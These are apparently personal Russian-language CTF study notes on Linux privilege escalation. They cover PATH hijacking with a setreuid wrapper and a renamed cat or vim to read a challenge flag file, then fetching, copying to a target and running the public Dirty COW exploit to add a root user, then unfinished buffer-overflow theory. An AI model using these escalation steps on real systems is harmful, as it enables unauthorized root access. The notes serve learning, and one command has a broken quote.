## $PATH имеет в себе путь /usr/home
***Warning: Всё может поломаться. В системе отвалятся ls и cat (или ls и текстовый редактор), но до перезапуска оболочки***
### Условия выполнения:
1. Создание файлов в дирректории, рядом с флагом
2. Уз принадлежит группе, где флаг:
```
-r-------- 1 app-script-ch11-cracked app-script-ch11 14 Dec 10 2021 .passwd
```
### Выполнение:
#### Исполнение на cat
**Подготовка:**
```
#Поиск мест, которые нам доступны в системе. Там создадим файлик для $PATH:
find / -xdev -type d -writable 2> /dev/null
find / -type d -writable 2> /dev/null
```
Сам файлик с кодом, который нужно создать рядом с файлом-флагом:
Поменять путь system("ls /challenge/app-script/ch11/.passwd");
```
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setreuid(geteuid(), geteuid());
system("ls /challenge/app-script/ch11/.passwd");
return 0;
}
```
Выполнить команды:
```
#Скопируем cat из стандартного каталога для программ /bin, в /tmp под названием ls
cp /bin/cat /var/tmp/payload
#Теперь изменим переменную PATH, добавив туда путь к нашему ls(cat)
export PATH=/var/tmp/payload:$PATH
#СТАРТУЕМ
./file.sh
```
$PATH - сбросится после переподключения. Это переменная оболочки
#### Исполнение на vim
**Подготовка:**
```
#Првоерка vim и nano
ls /usr/bin | grep nano
ls /usr/bin | grep vim
#Поиск мест, которые нам доступны в системе. Там создадим файлик для $PATH:
find / -xdev -type d -writable 2> /dev/null
find / -type d -writable 2> /dev/null
```
Сам файлик с кодом, который нужно создать рядом с файлом-флагом:
Поменять путь system("ls -lA /challenge/app-script/ch12/.passwd");
```
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setreuid(geteuid(), geteuid());
system("ls -lA /challenge/app-script/ch12/.passwd");
return 0;
}
```
**Тут используется ключ -lA Он перевернёт всю строку. С ним не умеет работать cat, но умеет nano**
Выполнить команды:
```
mkdir /var/tmp/my
cp /usr/bin/vim /var/tmp/my/ls
export PATH=/var/tmp/my/:$PATH
./file.sh
```
## Exploit Dirty COW
***Warning: Выполнить скрипт можно будет один раз. Поэтому, забыв пароль, можно забыть про этот вектор атаки :D***
### Условия выполнения:
Версия ядра linux < 4.8, 4.7, 4.4
Несколько версий из-за того, что уязвимость починили не сразу
Починили с помощью добавления флага FOLL_COW
Узнать версию ядра:
```
uname -r
uname -a
cat /proc/version
cat /proc/cmdline
ls /boot | grep vmlinuz
hostnamectl
hostnamectl | grep -i kernel
```
### Описаине:
Уязвимость ядра linux
Dirty COW получает свое название от механизма копирования при записи (COW) в системе управления памятью ядра. Вредоносные программы могут потенциально устанавливать условие состязания, чтобы преобразовать отображение файла только для чтения в доступное для записи отображение.
В момент выполнения скрипта будет нужно ввести новый пароль. После выполнения скрипта будет создан новый пользователь: firefart, которому будут присвоены такие значения id
```
firefart@debian:~# id
uid=0(firefart) gid=0(root) groups=0(root)
```
Дальше останется только зайти под новым пользователем
### Выполнение:
Нужно закинуть папку и установить chmod +x
```
# Подготовка на kali:
ip="192.168.0.1"
mkdir ~/Attacks/DirtyCOW" && cd "~/Attacks/DirtyCOW"
git clone https://github.com/firefart/dirtycow.git
scp -r ~/Attacks/DirtyCOW user@$ip:/home/user/temp
ssh user@$ip
# На атакуемой машине:
chmod +x dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
```
## Переполнение буфера
Буфер - динамически выделяемая область памяти для хранения временных данных
Переполнение Буфера - вид уязвимости, когда программа записывает данные за пределы выделенной памяти, вызывая при этом сбой программы или выполнение вредоносного кода

Под данные выделено N байт, а пользователь пытается засунуть в данные 5 байт. Тогда ОС выходит за "рамки" и цепляет другие переменные
***Размер данных всегда нужно проверять перед помещением их в буфер***
Типы атак:
1. Stack overflow - атака переполенния стека
2. Heap overflow - атака переполнения кучи
3. Format overflow - атака форматирования строки
### Stack overflow
Стэк:
1. Хранит аргументы и значения переменных функций
2. Последний пришёл, первый ушёл
3. Растёт от высших адресов, к нисшим.
***Регистры процессора***
1. ESP - Extended Stack Pointer - вершина стэка
2. EBP - Extended Base Pointer - доступ к данным в стэке
3. EIP - Extended Instruction Pointer адресс следующей инструкции для выполнения
Если получится перезаписать EBP, то программа не сможет выполнять инструкции правильно
###Heap overflow
###Format overflow